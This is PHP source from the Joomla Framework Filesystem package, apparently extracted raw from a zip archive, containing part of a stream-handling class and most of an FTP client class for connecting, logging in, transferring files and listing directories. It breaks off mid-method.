prepend function) * or via getting the filter list) * * @param resource $resource The resource. * @param boolean $byindex The index of the filter. * * @return boolean Result of operation * * @since 1.0 * @throws FilesystemException */ public function removeFilter(&$resource, $byindex = false) { // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } if ($byindex) { $res = stream_filter_remove($this->filters[$resource]); } else { $res = stream_filter_remove($resource); } if (!$res) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to remove filter from stream' ); } throw new FilesystemException($error['message']); } return $res; } /** * Copy a file from src to dest * * @param string $src The file path to copy from. * @param string $dest The file path to copy to. * @param resource $context A valid context resource (optional) created with stream_context_create. * @param boolean $usePrefix Controls the use of a prefix (optional). * @param boolean $relative Determines if the filename given is relative. Relative paths do not have JPATH_ROOT stripped. * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function copy($src, $dest, $context = null, $usePrefix = true, $relative = false) { // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $chmodDest = $this->_getFilename($dest, 'w', $usePrefix, $relative); // Since we're going to open the file directly we need to get the filename. // We need to use the same prefix so force everything to write. $src = $this->_getFilename($src, 'w', $usePrefix, $relative); $dest = $this->_getFilename($dest, 'w', $usePrefix, $relative); // One supplied at copy; overrides everything if ($context) { // Use the provided context $res = @copy($src, $dest, $context); } elseif ($this->context) { // One provided at initialisation $res = @copy($src, $dest, $this->context); } else { // No context; all defaults $res = @copy($src, $dest); } if (!$res) { $error = error_get_last(); if ($error !== null && $error['message'] !== '') { throw new FilesystemException($error['message']); } } $this->chmod($chmodDest); return $res; } /** * Moves a file * * @param string $src The file path to move from. * @param string $dest The file path to move to. * @param resource $context A valid context resource (optional) created with stream_context_create. * @param boolean $usePrefix Controls the use of a prefix (optional). * @param boolean $relative Determines if the filename given is relative. Relative paths do not have JPATH_ROOT stripped. * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function move($src, $dest, $context = null, $usePrefix = true, $relative = false) { // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $src = $this->_getFilename($src, 'w', $usePrefix, $relative); $dest = $this->_getFilename($dest, 'w', $usePrefix, $relative); if ($context) { // Use the provided context $res = @rename($src, $dest, $context); } elseif ($this->context) { // Use the object's context $res = @rename($src, $dest, $this->context); } else { // Don't use any context $res = @rename($src, $dest); } if (!$res) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to move stream' ); } throw new FilesystemException($error['message']); } $this->chmod($dest); return $res; } /** * Delete a file * * @param string $filename The file path to delete. * @param resource $context A valid context resource (optional) created with stream_context_create. * @param boolean $usePrefix Controls the use of a prefix (optional). * @param boolean $relative Determines if the filename given is relative. Relative paths do not have JPATH_ROOT stripped. * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function delete($filename, $context = null, $usePrefix = true, $relative = false) { // Capture PHP errors if (PHP_VERSION_ID < 70000) { // @Todo Remove this path, when PHP5 support is dropped. set_error_handler( function () { return false; } ); @trigger_error(''); restore_error_handler(); } else { /** @noinspection PhpElementIsNotAvailableInCurrentPhpVersionInspection */ error_clear_last(); } $filename = $this->_getFilename($filename, 'w', $usePrefix, $relative); if ($context) { // Use the provided context $res = @unlink($filename, $context); } elseif ($this->context) { // Use the object's context $res = @unlink($filename, $this->context); } else { // Don't use any context $res = @unlink($filename); } if (!$res) { $error = error_get_last(); if ($error === null || $error['message'] === '') { // Error but nothing from php? Create our own $error = array( 'message' => 'Unable to delete stream' ); } throw new FilesystemException($error['message']); } return $res; } /** * Upload a file * * @param string $src The file path to copy from (usually a temp folder). * @param string $dest The file path to copy to. * @param resource $context A valid context resource (optional) created with stream_context_create. * @param boolean $usePrefix Controls the use of a prefix (optional). * @param boolean $relative Determines if the filename given is relative. Relative paths do not have JPATH_ROOT stripped. * * @return boolean * * @since 1.0 * @throws FilesystemException */ public function upload($src, $dest, $context = null, $usePrefix = true, $relative = false) { if (is_uploaded_file($src)) { // Make sure it's an uploaded file return $this->copy($src, $dest, $context, $usePrefix, $relative); } throw new FilesystemException('Not an uploaded file.'); } /** * Writes a chunk of data to a file. * * @param string $filename The file name. * @param string $buffer The data to write to the file. * @param boolean $appendToFile Append to the file and not overwrite it. * * @return boolean * * @since 1.0 */ public function writeFile($filename, &$buffer, $appendToFile = false) { $fileMode = 'w'; // Switch the filemode when we want to append to the file if ($appendToFile) { $fileMode = 'a'; } if ($this->open($filename, $fileMode)) { $result = $this->write($buffer); $this->chmod(); $this->close(); return $result; } return false; } /** * Determine the appropriate 'filename' of a file * * @param string $filename Original filename of the file * @param string $mode Mode string to retrieve the filename * @param boolean $usePrefix Controls the use of a prefix * @param boolean $relative Determines if the filename given is relative. Relative paths do not have JPATH_ROOT stripped. * * @return string * * @since 1.0 */ public function _getFilename($filename, $mode, $usePrefix, $relative) { if ($usePrefix) { // Get rid of binary or t, should be at the end of the string $tmode = trim($mode, 'btf123456789'); $stream = explode('://', $filename, 2); $scheme = ''; $filename = $stream[0]; if (\count($stream) >= 2) { $scheme = $stream[0] . '://'; $filename = $stream[1]; } // Check if it's a write mode then add the appropriate prefix if (\in_array($tmode, Helper::getWriteModes())) { $prefixToUse = $this->writeprefix; } else { $prefixToUse = $this->readprefix; } // Get rid of JPATH_ROOT (legacy compat) if (!$relative && $prefixToUse) { $pos = strpos($filename, JPATH_ROOT); if ($pos !== false) { $filename = substr_replace($filename, '', $pos, \strlen(JPATH_ROOT)); } } $filename = ($prefixToUse ? $prefixToUse : '') . $filename; } return $filename; } /** * Return the internal file handle * * @return File handler * * @since 1.0 */ public function getFileHandle() { return $this->fh; } /** * Modifies a property of the object, creating it if it does not already exist. * * @param string $property The name of the property. * @param mixed $value The value of the property to set. * * @return mixed Previous value of the property. * * @since 1.0 */ public function set($property, $value = null) { $previous = isset($this->$property) ? $this->$property : null; $this->$property = $value; return $previous; } /** * Returns a property of the object or the default value if the property is not set. * * @param string $property The name of the property. * @param mixed $default The default value. * * @return mixed The value of the property. * * @since 1.0 */ public function get($property, $default = null) { if (isset($this->$property)) { return $this->$property; } return $default; } } PKÜ�\m��c�c�2vendor/joomla/filesystem/src/Clients/FtpClient.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem\Clients; use Joomla\Filesystem\Exception\FilesystemException; /* * Error Codes: * - 30 : Unable to connect to host * - 31 : Not connected * - 32 : Unable to send command to server * - 33 : Bad username * - 34 : Bad password * - 35 : Bad response * - 36 : Passive mode failed * - 37 : Data transfer error * - 38 : Local filesystem error */ if (!\defined('CRLF')) { \define('CRLF', "\r\n"); } if (!\defined('FTP_AUTOASCII')) { \define('FTP_AUTOASCII', -1); } if (!\defined('FTP_BINARY')) { \define('FTP_BINARY', 1); } if (!\defined('FTP_ASCII')) { \define('FTP_ASCII', 0); } if (!\defined('FTP_NATIVE')) { \define('FTP_NATIVE', (\function_exists('ftp_connect')) ? 1 : 0); } /** * FTP client class * * @since 1.0 */ class FtpClient { /** * Socket resource * * @var resource * @since 1.0 */ private $conn; /** * Data port connection resource * * @var resource * @since 1.0 */ private $dataconn; /** * Passive connection information * * @var array * @since 1.0 */ private $pasv; /** * Response Message * * @var string * @since 1.0 */ private $response; /** * Response Code * * @var integer * @since 1.0 */ private $responseCode; /** * Response Message * * @var string * @since 1.0 */ private $responseMsg; /** * Timeout limit * * @var integer * @since 1.0 */ private $timeout = 15; /** * Transfer Type * * @var integer * @since 1.0 */ private $type; /** * Array to hold ascii format file extensions * * @var array * @since 1.0 */ private $autoAscii = array( 'asp', 'bat', 'c', 'cpp', 'csv', 'h', 'htm', 'html', 'shtml', 'ini', 'inc', 'log', 'php', 'php3', 'pl', 'perl', 'sh', 'sql', 'txt', 'xhtml', 'xml', ); /** * Array to hold native line ending characters * * @var array * @since 1.0 */ private $lineEndings = array('UNIX' => "\n", 'WIN' => "\r\n"); /** * FtpClient instances container. * * @var FtpClient[] * @since 1.0 */ protected static $instances = array(); /** * FtpClient object constructor * * @param array $options Associative array of options to set * * @since 1.0 */ public function __construct(array $options = array()) { // If default transfer type is not set, set it to autoascii detect if (!isset($options['type'])) { $options['type'] = \FTP_BINARY; } $this->setOptions($options); if (FTP_NATIVE) { // Autoloading fails for Buffer as the class is used as a stream handler class_exists('Joomla\\Filesystem\\Buffer'); } } /** * FtpClient object destructor * * Closes an existing connection, if we have one * * @since 1.0 */ public function __destruct() { if (\is_resource($this->conn)) { $this->quit(); } } /** * Returns the global FTP connector object, only creating it * if it doesn't already exist. * * You may optionally specify a username and password in the parameters. If you do so, * you may not login() again with different credentials using the same object. * If you do not use this option, you must quit() the current connection when you * are done, to free it for use by others. * * @param string $host Host to connect to * @param string $port Port to connect to * @param array $options Array with any of these options: type=>[FTP_AUTOASCII|FTP_ASCII|FTP_BINARY], timeout=>(int) * @param string $user Username to use for a connection * @param string $pass Password to use for a connection * * @return FtpClient The FTP Client object. * * @since 1.0 */ public static function getInstance($host = '127.0.0.1', $port = '21', array $options = array(), $user = null, $pass = null) { $signature = $user . ':' . $pass . '@' . $host . ':' . $port; // Create a new instance, or set the options of an existing one if (!isset(self::$instances[$signature]) || !\is_object(self::$instances[$signature])) { self::$instances[$signature] = new static($options); } else { self::$instances[$signature]->setOptions($options); } // Connect to the server, and login, if requested if (!self::$instances[$signature]->isConnected()) { $return = self::$instances[$signature]->connect($host, $port); if ($return && $user !== null && $pass !== null) { self::$instances[$signature]->login($user, $pass); } } return self::$instances[$signature]; } /** * Set client options * * @param array $options Associative array of options to set * * @return boolean True if successful * * @since 1.0 */ public function setOptions(array $options) { if (isset($options['type'])) { $this->type = $options['type']; } if (isset($options['timeout'])) { $this->timeout = $options['timeout']; } return true; } /** * Method to connect to a FTP server * * @param string $host Host to connect to [Default: 127.0.0.1] * @param integer $port Port to connect on [Default: port 21] * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function connect($host = '127.0.0.1', $port = 21) { $errno = null; $err = null; // If already connected, return if (\is_resource($this->conn)) { return true; } // If native FTP support is enabled let's use it... if (FTP_NATIVE) { $this->conn = @ftp_connect($host, $port, $this->timeout); if ($this->conn === false) { throw new FilesystemException(sprintf('%1$s: Could not connect to host " %2$s " on port " %3$s "', __METHOD__, $host, $port)); } // Set the timeout for this connection ftp_set_option($this->conn, \FTP_TIMEOUT_SEC, $this->timeout); return true; } // Connect to the FTP server. $this->conn = @ fsockopen($host, $port, $errno, $err, $this->timeout); if (!$this->conn) { throw new FilesystemException( sprintf( '%1$s: Could not connect to host " %2$s " on port " %3$s ". Socket error number: %4$s and error message: %5$s', __METHOD__, $host, $port, $errno, $err ) ); } // Set the timeout for this connection socket_set_timeout($this->conn, $this->timeout, 0); // Check for welcome response code if (!$this->_verifyResponse(220)) { throw new FilesystemException(sprintf('%1$s: Bad response. Server response: %2$s [Expected: 220]', __METHOD__, $this->response)); } return true; } /** * Method to determine if the object is connected to an FTP server * * @return boolean True if connected * * @since 1.0 */ public function isConnected() { return \is_resource($this->conn); } /** * Method to login to a server once connected * * @param string $user Username to login to the server * @param string $pass Password to login to the server * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function login($user = 'anonymous', $pass = 'jftp@joomla.org') { // If native FTP support is enabled let's use it... if (FTP_NATIVE) { if (@ftp_login($this->conn, $user, $pass) === false) { throw new FilesystemException(__METHOD__ . ': Unable to login'); } return true; } // Send the username if (!$this->_putCmd('USER ' . $user, array(331, 503))) { throw new FilesystemException( sprintf('%1$s: Bad Username. Server response: %2$s [Expected: 331]. Username sent: %3$s', __METHOD__, $this->response, $user) ); } // If we are already logged in, continue :) if ($this->responseCode == 503) { return true; } // Send the password if (!$this->_putCmd('PASS ' . $pass, 230)) { throw new FilesystemException(sprintf('%1$s: Bad Password. Server response: %2$s [Expected: 230].', __METHOD__, $this->response)); } return true; } /** * Method to quit and close the connection * * @return boolean True if successful * * @since 1.0 */ public function quit() { // If native FTP support is enabled lets use it... if (FTP_NATIVE) { @ftp_close($this->conn); return true; } // Logout and close connection @fwrite($this->conn, "QUIT\r\n"); @fclose($this->conn); return true; } /** * Method to retrieve the current working directory on the FTP server * * @return string Current working directory * * @since 1.0 * @throws FilesystemException */ public function pwd() { // If native FTP support is enabled let's use it... if (FTP_NATIVE) { if (($ret = @ftp_pwd($this->conn)) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return $ret; } $match = array(null); // Send print working directory command and verify success if (!$this->_putCmd('PWD', 257)) { throw new FilesystemException(sprintf('%1$s: Bad response. Server response: %2$s [Expected: 257]', __METHOD__, $this->response)); } // Match just the path preg_match('/"[^"\r\n]*"/', $this->response, $match); // Return the cleaned path return preg_replace('/"/', '', $match[0]); } /** * Method to system string from the FTP server * * @return string System identifier string * * @since 1.0 * @throws FilesystemException */ public function syst() { // If native FTP support is enabled lets use it... if (FTP_NATIVE) { if (($ret = @ftp_systype($this->conn)) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } } else { // Send print working directory command and verify success if (!$this->_putCmd('SYST', 215)) { throw new FilesystemException(sprintf('%1$s: Bad response. Server response: %2$s [Expected: 215]', __METHOD__, $this->response)); } $ret = $this->response; } // Match the system string to an OS if (strpos(strtoupper($ret), 'MAC') !== false) { $ret = 'MAC'; } elseif (strpos(strtoupper($ret), 'WIN') !== false) { $ret = 'WIN'; } else { $ret = 'UNIX'; } // Return the os type return $ret; } /** * Method to change the current working directory on the FTP server * * @param string $path Path to change into on the server * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function chdir($path) { // If native FTP support is enabled lets use it... if (FTP_NATIVE) { if (@ftp_chdir($this->conn, $path) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return true; } // Send change directory command and verify success if (!$this->_putCmd('CWD ' . $path, 250)) { throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 250]. Sent path: %3$s', __METHOD__, $this->response, $path) ); } return true; } /** * Method to reinitialise the server, ie. need to login again * * NOTE: This command not available on all servers * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function reinit() { // If native FTP support is enabled let's use it... if (FTP_NATIVE) { if (@ftp_site($this->conn, 'REIN') === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return true; } // Send reinitialise command to the server if (!$this->_putCmd('REIN', 220)) { throw new FilesystemException(sprintf('%1$s: Bad response. Server response: %2$s [Expected: 220]', __METHOD__, $this->response)); } return true; } /** * Method to rename a file/folder on the FTP server * * @param string $from Path to change file/folder from * @param string $to Path to change file/folder to * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function rename($from, $to) { // If native FTP support is enabled let's use it... if (FTP_NATIVE) { if (@ftp_rename($this->conn, $from, $to) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return true; } // Send rename from command to the server if (!$this->_putCmd('RNFR ' . $from, 350)) { throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 350]. From path sent: %3$s', __METHOD__, $this->response, $from) ); } // Send rename to command to the server if (!$this->_putCmd('RNTO ' . $to, 250)) { throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 250]. To path sent: %3$s', __METHOD__, $this->response, $to) ); } return true; } /** * Method to change mode for a path on the FTP server * * @param string $path Path to change mode on * @param mixed $mode Octal value to change mode to, e.g. '0777', 0777 or 511 (string or integer) * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function chmod($path, $mode) { // If no filename is given, we assume the current directory is the target if ($path == '') { $path = '.'; } // Convert the mode to a string if (\is_int($mode)) { $mode = decoct($mode); } // If native FTP support is enabled let's use it... if (FTP_NATIVE) { if (@ftp_site($this->conn, 'CHMOD ' . $mode . ' ' . $path) === false) { if (!\defined('PHP_WINDOWS_VERSION_MAJOR')) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return false; } return true; } // Send change mode command and verify success [must convert mode from octal] if (!$this->_putCmd('SITE CHMOD ' . $mode . ' ' . $path, array(200, 250))) { if (!\defined('PHP_WINDOWS_VERSION_MAJOR')) { throw new FilesystemException( sprintf( '%1$s: Bad response. Server response: %2$s [Expected: 250]. Path sent: %3$s. Mode sent: %4$s', __METHOD__, $this->response, $path, $mode ) ); } return false; } return true; } /** * Method to delete a path [file/folder] on the FTP server * * @param string $path Path to delete * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function delete($path) { // If native FTP support is enabled let's use it... if (FTP_NATIVE) { if (@ftp_delete($this->conn, $path) === false) { if (@ftp_rmdir($this->conn, $path) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } } return true; } // Send delete file command and if that doesn't work, try to remove a directory if (!$this->_putCmd('DELE ' . $path, 250)) { if (!$this->_putCmd('RMD ' . $path, 250)) { throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 250]. Path sent: %3$s', __METHOD__, $this->response, $path) ); } } return true; } /** * Method to create a directory on the FTP server * * @param string $path Directory to create * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function mkdir($path) { // If native FTP support is enabled let's use it... if (FTP_NATIVE) { if (@ftp_mkdir($this->conn, $path) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return true; } // Send change directory command and verify success if (!$this->_putCmd('MKD ' . $path, 257)) { throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 257]. Path sent: %3$s', __METHOD__, $this->response, $path) ); } return true; } /** * Method to restart data transfer at a given byte * * @param integer $point Byte to restart transfer at * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function restart($point) { // If native FTP support is enabled let's use it... if (FTP_NATIVE) { if (@ftp_site($this->conn, 'REST ' . $point) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return true; } // Send restart command and verify success if (!$this->_putCmd('REST ' . $point, 350)) { throw new FilesystemException( sprintf( '%1$s: Bad response. Server response: %2$s [Expected: 350]. Restart point sent: %3$s', __METHOD__, $this->response, $point ) ); } return true; } /** * Method to create an empty file on the FTP server * * @param string $path Path local file to store on the FTP server * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function create($path) { // If native FTP support is enabled let's use it... if (FTP_NATIVE) { // Turn passive mode on if (@ftp_pasv($this->conn, true) === false) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } $buffer = fopen('buffer://tmp', 'r'); if (@ftp_fput($this->conn, $path, $buffer, \FTP_ASCII) === false) { fclose($buffer); throw new FilesystemException(__METHOD__ . 'Bad response.'); } fclose($buffer); return true; } // Start passive mode if (!$this->_passive()) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } if (!$this->_putCmd('STOR ' . $path, array(150, 125))) { @ fclose($this->dataconn); throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150 or 125]. Path sent: %3$s', __METHOD__, $this->response, $path) ); } // To create a zero byte upload close the data port connection fclose($this->dataconn); if (!$this->_verifyResponse(226)) { throw new FilesystemException( sprintf('%1$s: Transfer failed. Server response: %2$s [Expected: 226]. Path sent: %3$s', __METHOD__, $this->response, $path) ); } return true; } /** * Method to read a file from the FTP server's contents into a buffer * * @param string $remote Path to remote file to read on the FTP server * @param string $buffer Buffer variable to read file contents into * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function read($remote, &$buffer) { // Determine file type $mode = $this->_findMode($remote); // If native FTP support is enabled let's use it... if (FTP_NATIVE) { // Turn passive mode on if (@ftp_pasv($this->conn, true) === false) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } $tmp = fopen('buffer://tmp', 'br+'); if (@ftp_fget($this->conn, $tmp, $remote, $mode) === false) { fclose($tmp); throw new FilesystemException(__METHOD__ . 'Bad response.'); } // Read tmp buffer contents rewind($tmp); $buffer = ''; while (!feof($tmp)) { $buffer .= fread($tmp, 8192); } fclose($tmp); return true; } $this->_mode($mode); // Start passive mode if (!$this->_passive()) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } if (!$this->_putCmd('RETR ' . $remote, array(150, 125))) { @ fclose($this->dataconn); throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150 or 125]. Path sent: %3$s', __METHOD__, $this->response, $remote) ); } // Read data from data port connection and add to the buffer $buffer = ''; while (!feof($this->dataconn)) { $buffer .= fread($this->dataconn, 4096); } // Close the data port connection fclose($this->dataconn); // Let's try to cleanup some line endings if it is ascii if ($mode == \FTP_ASCII) { $os = 'UNIX'; if (\defined('PHP_WINDOWS_VERSION_MAJOR')) { $os = 'WIN'; } $buffer = preg_replace('/' . CRLF . '/', $this->lineEndings[$os], $buffer); } if (!$this->_verifyResponse(226)) { throw new FilesystemException( sprintf( '%1$s: Transfer failed. Server response: %2$s [Expected: 226]. Restart point sent: %3$s', __METHOD__, $this->response, $remote ) ); } return true; } /** * Method to get a file from the FTP server and save it to a local file * * @param string $local Local path to save remote file to * @param string $remote Path to remote file to get on the FTP server * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function get($local, $remote) { // Determine file type $mode = $this->_findMode($remote); // If native FTP support is enabled let's use it... if (FTP_NATIVE) { // Turn passive mode on if (@ftp_pasv($this->conn, true) === false) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } if (@ftp_get($this->conn, $local, $remote, $mode) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return true; } $this->_mode($mode); // Check to see if the local file can be opened for writing $fp = fopen($local, 'wb'); if (!$fp) { throw new FilesystemException(sprintf('%1$s: Unable to open local file for writing. Local path: %2$s', __METHOD__, $local)); } // Start passive mode if (!$this->_passive()) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } if (!$this->_putCmd('RETR ' . $remote, array(150, 125))) { @ fclose($this->dataconn); throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150 or 125]. Path sent: %3$s', __METHOD__, $this->response, $remote) ); } // Read data from data port connection and add to the buffer while (!feof($this->dataconn)) { $buffer = fread($this->dataconn, 4096); fwrite($fp, $buffer, 4096); } // Close the data port connection and file pointer fclose($this->dataconn); fclose($fp); if (!$this->_verifyResponse(226)) { throw new FilesystemException( sprintf('%1$s: Transfer failed. Server response: %2$s [Expected: 226]. Path sent: %3$s', __METHOD__, $this->response, $remote) ); } return true; } /** * Method to store a file to the FTP server * * @param string $local Path to local file to store on the FTP server * @param string $remote FTP path to file to create * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function store($local, $remote = null) { // If remote file is not given, use the filename of the local file in the current // working directory. if ($remote == null) { $remote = basename($local); } // Determine file type $mode = $this->_findMode($remote); // If native FTP support is enabled let's use it... if (FTP_NATIVE) { // Turn passive mode on if (@ftp_pasv($this->conn, true) === false) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } if (@ftp_put($this->conn, $remote, $local, $mode) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } return true; } $this->_mode($mode); // Check to see if the local file exists and if so open it for reading if (@ file_exists($local)) { $fp = fopen($local, 'rb'); if (!$fp) { throw new FilesystemException(sprintf('%1$s: Unable to open local file for reading. Local path: %2$s', __METHOD__, $local)); } } else { throw new FilesystemException(sprintf('%1$s: Unable to find local file. Local path: %2$s', __METHOD__, $local)); } // Start passive mode if (!$this->_passive()) { @ fclose($fp); throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } // Send store command to the FTP server if (!$this->_putCmd('STOR ' . $remote, array(150, 125))) { @ fclose($fp); @ fclose($this->dataconn); throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150 or 125]. Path sent: %3$s', __METHOD__, $this->response, $remote) ); } // Do actual file transfer, read local file and write to data port connection while (!feof($fp)) { $line = fread($fp, 4096); do { if (($result = @ fwrite($this->dataconn, $line)) === false) { throw new FilesystemException(__METHOD__ . ': Unable to write to data port socket'); } $line = substr($line, $result); } while ($line != ''); } fclose($fp); fclose($this->dataconn); if (!$this->_verifyResponse(226)) { throw new FilesystemException( sprintf('%1$s: Transfer failed. Server response: %2$s [Expected: 226]. Path sent: %3$s', __METHOD__, $this->response, $remote) ); } return true; } /** * Method to write a string to the FTP server * * @param string $remote FTP path to file to write to * @param string $buffer Contents to write to the FTP server * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ public function write($remote, $buffer) { // Determine file type $mode = $this->_findMode($remote); // If native FTP support is enabled let's use it... if (FTP_NATIVE) { // Turn passive mode on if (@ftp_pasv($this->conn, true) === false) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } $tmp = fopen('buffer://tmp', 'br+'); fwrite($tmp, $buffer); rewind($tmp); if (@ftp_fput($this->conn, $remote, $tmp, $mode) === false) { fclose($tmp); throw new FilesystemException(__METHOD__ . 'Bad response.'); } fclose($tmp); return true; } // First we need to set the transfer mode $this->_mode($mode); // Start passive mode if (!$this->_passive()) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } // Send store command to the FTP server if (!$this->_putCmd('STOR ' . $remote, array(150, 125))) { @ fclose($this->dataconn); throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150 or 125]. Path sent: %3$s', __METHOD__, $this->response, $remote) ); } // Write buffer to the data connection port do { if (($result = @ fwrite($this->dataconn, $buffer)) === false) { throw new FilesystemException(__METHOD__ . ': Unable to write to data port socket.'); } $buffer = substr($buffer, $result); } while ($buffer != ''); // Close the data connection port [Data transfer complete] fclose($this->dataconn); // Verify that the server received the transfer if (!$this->_verifyResponse(226)) { throw new FilesystemException( sprintf('%1$s: Transfer failed. Server response: %2$s [Expected: 226]. Path sent: %3$s', __METHOD__, $this->response, $remote) ); } return true; } /** * Method to list the filenames of the contents of a directory on the FTP server * * Note: Some servers also return folder names. However, to be sure to list folders on all * servers, you should use listDetails() instead if you also need to deal with folders * * @param string $path Path local file to store on the FTP server * * @return string Directory listing * * @since 1.0 * @throws FilesystemException */ public function listNames($path = null) { $data = null; // If native FTP support is enabled let's use it... if (FTP_NATIVE) { // Turn passive mode on if (@ftp_pasv($this->conn, true) === false) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } if (($list = @ftp_nlist($this->conn, $path)) === false) { // Workaround for empty directories on some servers if ($this->listDetails($path, 'files') === array()) { return array(); } throw new FilesystemException(__METHOD__ . 'Bad response.'); } $list = preg_replace('#^' . preg_quote($path, '#') . '[/\\\\]?#', '', $list); if ($keys = array_merge(array_keys($list, '.'), array_keys($list, '..'))) { foreach ($keys as $key) { unset($list[$key]); } } return $list; } // If a path exists, prepend a space if ($path != null) { $path = ' ' . $path; } // Start passive mode if (!$this->_passive()) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } if (!$this->_putCmd('NLST' . $path, array(150, 125))) { @ fclose($this->dataconn); // Workaround for empty directories on some servers if ($this->listDetails($path, 'files') === array()) { return array(); } throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 150 or 125]. Path sent: %3$s', __METHOD__, $this->response, $path) ); } // Read in the file listing. while (!feof($this->dataconn)) { $data .= fread($this->dataconn, 4096); } fclose($this->dataconn); // Everything go okay? if (!$this->_verifyResponse(226)) { throw new FilesystemException( sprintf('%1$s: Transfer failed. Server response: %2$s [Expected: 226]. Path sent: %3$s', __METHOD__, $this->response, $path) ); } $data = preg_split('/[' . CRLF . ']+/', $data, -1, \PREG_SPLIT_NO_EMPTY); $data = preg_replace('#^' . preg_quote(substr($path, 1), '#') . '[/\\\\]?#', '', $data); if ($keys = array_merge(array_keys($data, '.'), array_keys($data, '..'))) { foreach ($keys as $key) { unset($data[$key]); } } return $data; } /** * Method to list the contents of a directory on the FTP server * * @param string $path Path to the local file to be stored on the FTP server * @param string $type Return type [raw|all|folders|files] * * @return string[] If $type is raw: string Directory listing, otherwise array of string with file-names * * @since 1.0 * @throws FilesystemException */ public function listDetails($path = null, $type = 'all') { $dirList = array(); $data = null; $regs = null; // TODO: Deal with recurse -- nightmare // For now we will just set it to false $recurse = false; // If native FTP support is enabled let's use it... if (FTP_NATIVE) { // Turn passive mode on if (@ftp_pasv($this->conn, true) === false) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } if (($contents = @ftp_rawlist($this->conn, $path)) === false) { throw new FilesystemException(__METHOD__ . 'Bad response.'); } } else { // Non Native mode // Start passive mode if (!$this->_passive()) { throw new FilesystemException(__METHOD__ . ': Unable to use passive mode.'); } // If a path exists, prepend a space if ($path != null) { $path = ' ' . $path; } // Request the file listing if (!$this->_putCmd(($recurse == true) ? 'LIST -R' : 'LIST' . $path, array(150, 125))) { @ fclose($this->dataconn); throw new FilesystemException( sprintf( '%1$s: Bad response. Server response: %2$s [Expected: 150 or 125]. Path sent: %3$s', __METHOD__, $this->response, $path ) ); } // Read in the file listing. while (!feof($this->dataconn)) { $data .= fread($this->dataconn, 4096); } fclose($this->dataconn); // Everything go okay? if (!$this->_verifyResponse(226)) { throw new FilesystemException( sprintf('%1$s: Transfer failed. Server response: %2$s [Expected: 